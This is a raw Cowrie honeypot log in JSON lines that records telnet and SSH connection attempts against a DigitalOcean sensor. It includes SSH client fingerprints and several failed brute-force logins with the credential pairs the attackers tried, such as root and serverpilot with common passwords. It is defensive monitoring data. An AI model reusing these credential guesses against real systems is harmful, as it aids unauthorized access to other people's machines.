{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48182,"dst_ip":"159.203.135.109","dst_port":23,"session":"a78b2010adde","protocol":"telnet","message":"New connection: 161.132.53.68:48182 (159.203.135.109:23) [session: a78b2010adde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:51.004907Z"}
{"eventid":"cowrie.session.closed","duration":30.576621294021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:51.267802Z","src_ip":"192.119.108.58","session":"0d0eb4d189a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:51.781243Z","src_ip":"124.18.182.99","session":"01b6fa0eb646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48198,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ed7f55855a","protocol":"telnet","message":"New connection: 161.132.53.68:48198 (159.203.135.109:23) [session: b9ed7f55855a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:52.911084Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48204,"dst_ip":"159.203.135.109","dst_port":23,"session":"79130f86d702","protocol":"telnet","message":"New connection: 161.132.53.68:48204 (159.203.135.109:23) [session: 79130f86d702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:53.625651Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.216.141.33","src_port":21265,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c67de087ecf","protocol":"telnet","message":"New connection: 162.216.141.33:21265 (159.203.135.109:23) [session: 6c67de087ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:53.693179Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48218,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd83073d0f7e","protocol":"telnet","message":"New connection: 161.132.53.68:48218 (159.203.135.109:23) [session: cd83073d0f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:54.341595Z"}
{"eventid":"cowrie.session.closed","duration":31.059127807617188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:55.444299Z","src_ip":"161.132.53.68","session":"b50c078924f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54166,"dst_ip":"159.203.135.109","dst_port":23,"session":"38ba7062f431","protocol":"telnet","message":"New connection: 161.132.53.68:54166 (159.203.135.109:23) [session: 38ba7062f431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:57.485421Z"}
{"eventid":"cowrie.session.closed","duration":33.25619029998779,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:57.760168Z","src_ip":"161.132.53.68","session":"bf6d79c4609e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.00906825065613,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:57.889228Z","src_ip":"161.132.53.68","session":"5ce178cde289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.422215700149536,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:57.896206Z","src_ip":"161.132.53.68","session":"ca7af0827218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54176,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae906e3fea0","protocol":"telnet","message":"New connection: 161.132.53.68:54176 (159.203.135.109:23) [session: fae906e3fea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:22:58.387933Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54188,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb3b4c10028f","protocol":"telnet","message":"New connection: 161.132.53.68:54188 (159.203.135.109:23) [session: fb3b4c10028f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:00.265379Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54190,"dst_ip":"159.203.135.109","dst_port":23,"session":"6393c08175b2","protocol":"telnet","message":"New connection: 161.132.53.68:54190 (159.203.135.109:23) [session: 6393c08175b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:00.782997Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.245.196.117","src_port":51916,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c8ea23fff1c","protocol":"telnet","message":"New connection: 95.245.196.117:51916 (159.203.135.109:23) [session: 5c8ea23fff1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:00.796928Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54198,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3621a9ebde5","protocol":"telnet","message":"New connection: 161.132.53.68:54198 (159.203.135.109:23) [session: c3621a9ebde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:01.172513Z"}
{"eventid":"cowrie.session.closed","duration":32.493815898895264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:01.440434Z","src_ip":"161.132.53.68","session":"e1092ae88cc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54212,"dst_ip":"159.203.135.109","dst_port":23,"session":"64c7fdd37fa0","protocol":"telnet","message":"New connection: 161.132.53.68:54212 (159.203.135.109:23) [session: 64c7fdd37fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:02.665150Z"}
{"eventid":"cowrie.session.closed","duration":32.12090706825256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:03.513472Z","src_ip":"161.132.53.68","session":"93a06978cd61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55541968345642,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:03.899941Z","src_ip":"161.132.53.68","session":"e53d220c5036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58764,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aafe4209f46","protocol":"telnet","message":"New connection: 192.119.108.58:58764 (159.203.135.109:23) [session: 5aafe4209f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:03.907881Z"}
{"eventid":"cowrie.session.closed","duration":32.01638698577881,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:05.659005Z","src_ip":"161.132.53.68","session":"7fc0ae7613ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60118,"dst_ip":"159.203.135.109","dst_port":23,"session":"18809305912f","protocol":"telnet","message":"New connection: 192.119.108.58:60118 (159.203.135.109:23) [session: 18809305912f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:05.830774Z"}
{"eventid":"cowrie.session.closed","duration":13.828707695007324,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:07.521765Z","src_ip":"162.216.141.33","session":"6c67de087ecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95816993713379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:08.259112Z","src_ip":"161.132.53.68","session":"4fe0d35bf710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.352990865707397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:11.133524Z","src_ip":"161.132.53.68","session":"73f119e75ff2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.654217004776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:12.009489Z","src_ip":"161.132.53.68","session":"73e7af9289fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34198,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5fff2fcb69","protocol":"telnet","message":"New connection: 192.119.108.58:34198 (159.203.135.109:23) [session: 1f5fff2fcb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:12.018617Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35158,"dst_ip":"159.203.135.109","dst_port":23,"session":"e606c7c3c56d","protocol":"telnet","message":"New connection: 192.119.108.58:35158 (159.203.135.109:23) [session: e606c7c3c56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:13.099173Z"}
{"eventid":"cowrie.session.closed","duration":13.843094110488892,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:14.639911Z","src_ip":"95.245.196.117","session":"5c8ea23fff1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466551542282104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:17.233211Z","src_ip":"161.132.53.68","session":"2f34c05085ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":58222,"dst_ip":"10.17.0.5","dst_port":22,"session":"e802be03bb50","protocol":"ssh","message":"New connection: 220.119.37.141:58222 (10.17.0.5:22) [session: e802be03bb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:17.554174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:17.559663Z","src_ip":"220.119.37.141","session":"e802be03bb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:17.763374Z","src_ip":"220.119.37.141","session":"e802be03bb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.google.com","message":"login attempt [root/www.google.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:18.607091Z","src_ip":"220.119.37.141","session":"e802be03bb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":39922,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ea1cfb8a249","protocol":"ssh","message":"New connection: 223.17.5.126:39922 (159.203.135.109:22) [session: 4ea1cfb8a249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:19.561409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:19.567370Z","src_ip":"223.17.5.126","session":"4ea1cfb8a249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:19.783099Z","src_ip":"223.17.5.126","session":"4ea1cfb8a249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:19.818548Z","src_ip":"220.119.37.141","session":"e802be03bb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wz@123456","message":"login attempt [root/Wz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:20.676514Z","src_ip":"223.17.5.126","session":"4ea1cfb8a249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38586,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d611c250b4b","protocol":"telnet","message":"New connection: 192.119.108.58:38586 (159.203.135.109:23) [session: 1d611c250b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:20.765071Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57804,"dst_ip":"159.203.135.109","dst_port":23,"session":"d488764b10c9","protocol":"telnet","message":"New connection: 161.132.53.68:57804 (159.203.135.109:23) [session: d488764b10c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:20.800294Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:21.899029Z","src_ip":"223.17.5.126","session":"4ea1cfb8a249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.516274452209473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:22.521034Z","src_ip":"161.132.53.68","session":"a78b2010adde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57820,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa184a49151","protocol":"telnet","message":"New connection: 161.132.53.68:57820 (159.203.135.109:23) [session: dfa184a49151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:22.527049Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57824,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f5e14cfe12","protocol":"telnet","message":"New connection: 161.132.53.68:57824 (159.203.135.109:23) [session: 38f5e14cfe12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:23.152817Z"}
{"eventid":"cowrie.session.closed","duration":30.351306915283203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:23.262259Z","src_ip":"161.132.53.68","session":"b9ed7f55855a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391545057296753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:25.017072Z","src_ip":"161.132.53.68","session":"79130f86d702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58454656600952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:25.926024Z","src_ip":"161.132.53.68","session":"cd83073d0f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44026,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2d365d23f02","protocol":"telnet","message":"New connection: 161.132.53.68:44026 (159.203.135.109:23) [session: f2d365d23f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:27.216502Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":49506,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bbeb9a46768","protocol":"ssh","message":"New connection: 114.35.59.237:49506 (10.17.0.5:22) [session: 8bbeb9a46768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:29.058978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:29.068049Z","src_ip":"114.35.59.237","session":"8bbeb9a46768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:29.290772Z","src_ip":"114.35.59.237","session":"8bbeb9a46768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44034,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6199917f91","protocol":"telnet","message":"New connection: 161.132.53.68:44034 (159.203.135.109:23) [session: af6199917f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:29.418544Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44046,"dst_ip":"159.203.135.109","dst_port":23,"session":"67412f5f5276","protocol":"telnet","message":"New connection: 161.132.53.68:44046 (159.203.135.109:23) [session: 67412f5f5276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:29.474793Z"}
{"eventid":"cowrie.session.closed","duration":32.08834481239319,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:29.573622Z","src_ip":"161.132.53.68","session":"38ba7062f431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44056,"dst_ip":"159.203.135.109","dst_port":23,"session":"2146c79befaa","protocol":"telnet","message":"New connection: 161.132.53.68:44056 (159.203.135.109:23) [session: 2146c79befaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:29.908122Z"}
{"eventid":"cowrie.login.failed","username":"serverpilot","password":"P@ssw0rd","message":"login attempt [serverpilot/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:30.192229Z","src_ip":"114.35.59.237","session":"8bbeb9a46768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44072,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf8d0c857a1","protocol":"telnet","message":"New connection: 161.132.53.68:44072 (159.203.135.109:23) [session: ccf8d0c857a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:30.240638Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:31.417395Z","src_ip":"114.35.59.237","session":"8bbeb9a46768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44084,"dst_ip":"159.203.135.109","dst_port":23,"session":"a034e61051ee","protocol":"telnet","message":"New connection: 161.132.53.68:44084 (159.203.135.109:23) [session: a034e61051ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:31.780562Z"}
{"eventid":"cowrie.session.closed","duration":31.143280029296875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:31.926153Z","src_ip":"161.132.53.68","session":"6393c08175b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59072279930115,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:31.978529Z","src_ip":"161.132.53.68","session":"fae906e3fea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.255568981170654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:32.520816Z","src_ip":"161.132.53.68","session":"fb3b4c10028f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44728,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a5a515a846f","protocol":"telnet","message":"New connection: 192.119.108.58:44728 (159.203.135.109:23) [session: 6a5a515a846f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:32.810885Z"}
{"eventid":"cowrie.session.closed","duration":32.58442044258118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:33.756785Z","src_ip":"161.132.53.68","session":"c3621a9ebde5","protocol":"telnet"}
